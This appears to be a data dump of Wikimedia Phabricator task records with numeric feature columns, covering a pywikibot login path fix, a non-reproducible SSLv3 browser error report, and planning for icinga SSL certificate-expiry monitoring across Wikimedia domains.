bot.pyc        echo.py        i18n.py             plural.pyc         version
botirc.py      echo.pyc       i18n.pyc            site.py            version.py
comms          editor.py      interwiki_graph.py  site.pyc           version.pyc
compat         epydoc.cfg     logentries.py       textlib.py         weblib.py
config2.py     exceptions.py  login.py            textlib.pyc        xmlreader.py
```",Needs Triage,90.0,1430739778,1430760880.0,PHID-USER-wya6ce2cclt5qsvrs7kk,False,PHID-USER-43lnvui4hacyjrc2lflj,False,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_description,resolved,True,c3,1,False,False,True,-9,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.7115384615384617,0.7692307692307693,"I'm trying to create a bot and log in for the first time.  I've generated the family and user files, and then navigated to the pywikibot folder to access login.py, but I keep getting an error message as follows:

``CODE`CODE`CODE``"
453609,Problem with login.py for pywikibot,Tried to divide the two.,,,1430772626,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Tried to divide the two.
453527,Problem with login.py for pywikibot,Well the problem is that this talks about core and compat now.,,,1430767002,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,1.0,Well the problem is that this talks about core and compat now.
453432,Problem with login.py for pywikibot,"Clarified in https://www.mediawiki.org/wiki/Manual:Pywikibot/Basic_use#Use
Please amend if not clear or correct.
",,,1430760860,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.9230769230769231,"Clarified in URL
Please amend if not clear or correct.
"
453265,Problem with login.py for pywikibot,">>! In T97992#1256635, @XZise wrote:
> Do the following inside of the core directory:
> 
>   Don'tNeedToKnow@Imamadmad /cygdrive/c/core
>   $ python pwb.py login
> 
> pwb.py does add the core directory to the `PATH` variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to `PATH` or `PYTHONPATH`.
> 
> **Edit:** It's `PYTHONPATH` not `PYTHON_PATH`, thanks @jayvdb for the reminder.

Thank you so much for the help!  This wasn't made clear in the documentation on mediawiki.org.  Thanks so much for telling me!",,,1430746330,,PHID-USER-wya6ce2cclt5qsvrs7kk,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,False,,,-9,True,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,26.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.4782608695652173,0.5434782608695652,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you so much for the help!  This wasn't made clear in the documentation on mediawiki.org.  Thanks so much for telling me!"
453251,Problem with login.py for pywikibot,"Do the following inside of the core directory:

  Don'tNeedToKnow@Imamadmad /cygdrive/c/core
  $ python pwb.py login

pwb.py does add the core directory to the `PATH` variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to `PATH` or `PYTHONPATH`.

**Edit:** It's `PYTHONPATH` not `PYTHON_PATH`, thanks @jayvdb for the reminder.",,,1430744527,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,2.0,11.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,12.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,11.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.36144578313253,0.6265060240963856,"Do the following inside of the core directory:

  Don'tNeedToKnow@Imamadmad /cygdrive/c/core
  $ python pwb.py login

pwb.py does add the core directory to the CODE variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to CODE or CODE.

**Edit:** It's CODE not CODE, thanksSCREEN_NAME for the reminder."
453243,Problem with login.py for pywikibot,"Do the following inside of the core directory:

  Don'tNeedToKnow@Imamadmad /cygdrive/c/core
  $ python pwb.py login

pwb.py does add the core directory to the `PATH` variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to `PATH` or `PYTHON_PATH`.",,,1430743523,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,12.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,9.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.590909090909091,0.6363636363636364,"Do the following inside of the core directory:

  Don'tNeedToKnow@Imamadmad /cygdrive/c/core
  $ python pwb.py login

pwb.py does add the core directory to the CODE variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to CODE or CODE."
97927,ssl_error_unsupported_version on lists.wikimedia.org,"Firefix 37.0.2
page of the site does not open
https://lists.wikimedia.org/pipermail/wikitech-ambassadors/2015-April/001162.html and other from a site lists.wikimedia.org

{F159941}
""Firefox cannot guarantee the safety of your data on lists.wikimedia.org because it uses SSLv3, a broken security protocol. Advanced info: ssl_error_unsupported_version""
https://support.mozilla.org/en-US/kb/what-do-sslv3-error-messages-mean-firefox",Needs Triage,90.0,1430645290,1434483497.0,PHID-USER-5joeladhczukimiv4rwl,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-bu3eik7lkxrx6p37ios6,task_description,resolved,True,c3,1,False,False,True,-9,True,0.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,10.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.673076923076923,0.7884615384615384,"Firefix 37.0.2
page of the site does not open
URL and other from a site lists.wikimedia.org

{F159941}
""Firefox cannot guarantee the safety of your data on lists.wikimedia.org because it uses SSLv3, a broken security protocol. Advanced info: ssl_error_unsupported_version""
URL"
458039,ssl_error_unsupported_version on lists.wikimedia.org,"Cannot reproduce the problem on https://lists.wikimedia.org/pipermail/wikitech-ambassadors/2015-April/001162.html with Firefox 37.0.2

https://www.ssllabs.com/ssltest/analyze.html?d=list.wikimedia.org says that SSL3 is not supported on lists.wm.o.
",,,1431501327,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bu3eik7lkxrx6p37ios6,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.8636363636363636,"Cannot reproduce the problem on URL with Firefox 37.0.2

URL says that SSL3 is not supported on lists.wm.o.
"
114059,ssl expiry tracking in icinga - we don't monitor that many domains,"With the unplanned expiration of a couple of SSL certificates, T112542 was generated.  Since then, we've listed all of the domains we purchased certificates from.

Now we need to decide if we are going to put in icinga checks for all of them, or just some, and how to differentiate.  
>>! In T112542#1640176, @BBlack wrote:
> We only have that icinga check on the primary unified cert, which covers the production endpoints for:
> 
> - wikipedia.org
> - mediawiki.org
> - wikibooks.org
> - wikidata.org
> - wikimediafoundation.org
> - wikimedia.org
> - wikinews.org
> - wikiquote.org
> - wikisource.org
> - wikiversity.org
> - wikivoyage.org
> - wiktionary.org
> 
> ... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.
> 
> But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:
> 
> 
> archiva.wikimedia.org.crt
> blog.wikimedia.org.crt
> dumps.wikimedia.org.crt
> ecc-star.wmfusercontent.org.crt
> eventdonations.wikimedia.org.crt
> ganglia.wikimedia.org.crt
> gerrit.wikimedia.org.crt
> icinga.wikimedia.org.crt
> labvirt-star.eqiad.wmnet.crt
> ldap-codfw.wikimedia.org.crt
> ldap-eqiad.wikimedia.org.crt
> ldap-mirror.wikimedia.org.crt
> librenms.wikimedia.org.crt
> lists.wikimedia.org.crt
> policy.wikimedia.org.crt
> rt.wikimedia.org.crt
> star.planet.wikimedia.org.crt
> star.wmflabs.org.crt
> star.wmfusercontent.org.crt
> stream.wikimedia.org.crt
> tendril.wikimedia.org.crt
> ticket.wikimedia.org.crt
> toolserver.org.crt
> virt-star.eqiad.wmnet.crt
> wikitech.wikimedia.org.crt
> 
> 
> Of those, I can see in our icinga config direct expiry checks only for:
>
> lists.wikimedia.org
> ticket.wikimedia.org
> ldap-codfw.wikimedia.org
> ldap-eqiad.wikimedia.org
>

Additionally: https://docs.google.com/a/wikimedia.org/spreadsheets/d/1yT5rvoEEUHhNeJAQRVamr8ECqN3TLsMaO8N_At4Ki3I/edit?usp=sharing lists all the certificates and expiry info.

We need to determine which of these will get icinga checks.
",High,80.0,1443482524,1445551708.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-qckzskdoj6qw4aeornnu,task_description,resolved,True,c3,3,True,False,False,12,True,2.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,2.5,0.0,2.5,7.5,0.0,2.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,2.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,7.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,1.0,32.0,1.5,1.5,5.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.0,7.5,28.0,0.0,0.0,0.0,3.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,3.428571428571429,0.36734693877551017,"With the unplanned expiration of a couple of SSL certificates, T112542 was generated.  Since then, we've listed all of the domains we purchased certificates from.

Now we need to decide if we are going to put in icinga checks for all of them, or just some, and how to differentiate.  
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Additionally: URL lists all the certificates and expiry info.

We need to determine which of these will get icinga checks.
"
550754,ssl expiry tracking in icinga - we don't monitor that many domains,https://etherpad.wikimedia.org/p/T114059,,,1445551786,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
550753,ssl expiry tracking in icinga - we don't monitor that many domains,All the certs in the original list in the ticket are covered now. The only exception is the special case for labvirtstar. ,,,1445551708,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,4.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,8.0,8.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.7916666666666666,All the certs in the original list in the ticket are covered now. The only exception is the special case for labvirtstar. 
550747,ssl expiry tracking in icinga - we don't monitor that many domains,We agreed to split this special case into a non-blocking subtask -> T116332,,,1445551255,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,3.9375,0.9375,We agreed to split this special case into a non-blocking subtask -> T116332
550439,ssl expiry tracking in icinga - we don't monitor that many domains,"virt-star is used by the nova-compute services to talk to each other, for example when migrating instances from one place to another.  It's almost certainly self-signed.  I'll try to figure out what port you can test it on.

(edit:  labvirt-star is the interesting one, virt-star isn't used in production.)",,,1445526623,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,1.0,0.0,0.0,3.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,4.0,3.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.453333333333333,0.72,"virt-star is used by the nova-compute services to talk to each other, for example when migrating instances from one place to another.  It's almost certainly self-signed.  I'll try to figure out what port you can test it on.

(edit:  labvirt-star is the interesting one, virt-star isn't used in production.)"
550404,ssl expiry tracking in icinga - we don't monitor that many domains,"virt-star is used by the nova-compute services to talk to each other, for example when migrating instances from one place to another.  It's almost certainly self-signed.  I'll try to figure out what port you can test it on.",,,1445522253,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,6.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,17.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,0.8461538461538461,"virt-star is used by the nova-compute services to talk to each other, for example when migrating instances from one place to another.  It's almost certainly self-signed.  I'll try to figure out what port you can test it on."
550206,ssl expiry tracking in icinga - we don't monitor that many domains,"@andrew which service on which port uses the virt-star cert? i see virt100x compute nodes had it, and exist in site.pp but _not in DNS_ and labvirt1001 should have it now but none of the services on thse high ports 59xx ? seem to respond to openssl",,,1445476677,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,13.0,6.0,4.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8867924528301887,0.8113207547169812,"SCREEN_NAME which service on which port uses the virt-star cert? i see virt100x compute nodes had it, and exist in site.pp but _not in DNS_ and labvirt1001 should have it now but none of the services on thse high ports 59xx ? seem to respond to openssl"
550204,ssl expiry tracking in icinga - we don't monitor that many domains,"@andrewbogott which service on which port uses the virt-star cert? i see virt100x compute nodes had it, and exist in site.pp but _not in DNS_ and labvirt1001 should have it now but none of the services on thse high ports 59xx ? seem to respond to openssl",,,1445476667,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,13.0,6.0,4.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8867924528301887,0.8113207547169812,"SCREEN_NAME which service on which port uses the virt-star cert? i see virt100x compute nodes had it, and exist in site.pp but _not in DNS_ and labvirt1001 should have it now but none of the services on thse high ports 59xx ? seem to respond to openssl"
550195,ssl expiry tracking in icinga - we don't monitor that many domains,"re: LDAP-mirror:  nothing to monitor here, because Icinga said:

""SSL CRITICAL - failed to connect or SSL handshake:IO::Socket::SSL: connect: Connection refused ""

and puppet code says:

port   => '389', # Yes, explicitly not supporting LDAPS (port 636)

(but we still have the cert for it? oh well)",,,1445473969,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,5.0,7.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,4.0,4.0,3.0,0.0,3.0,7.0,7.0,1.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.4266666666666667,0.7333333333333333,"re: LDAP-mirror:  nothing to monitor here, because Icinga said:

""SSL CRITICAL - failed to connect or SSL handshake:IO::Socket::SSL: connect: Connection refused ""

and puppet code says:

port   => '389', # Yes, explicitly not supporting LDAPS (port 636)

(but we still have the cert for it? oh well)"
550193,ssl expiry tracking in icinga - we don't monitor that many domains,"wmfusercontent done:  https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=phab.wmfusercontent.org&service=HTTPS-wmfusercontent

LDAP (corp/OIT) mirror (has issues):

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=plutonium&service=SSL-LDAP 
https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=pollux&service=SSL-LDAP

virt-star: ?",,,1445473513,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.925925925925926,0.7777777777777778,"wmfusercontent done:  URL

LDAP (corp/OIT) mirror (has issues):

URL 
URL

virt-star: ?"
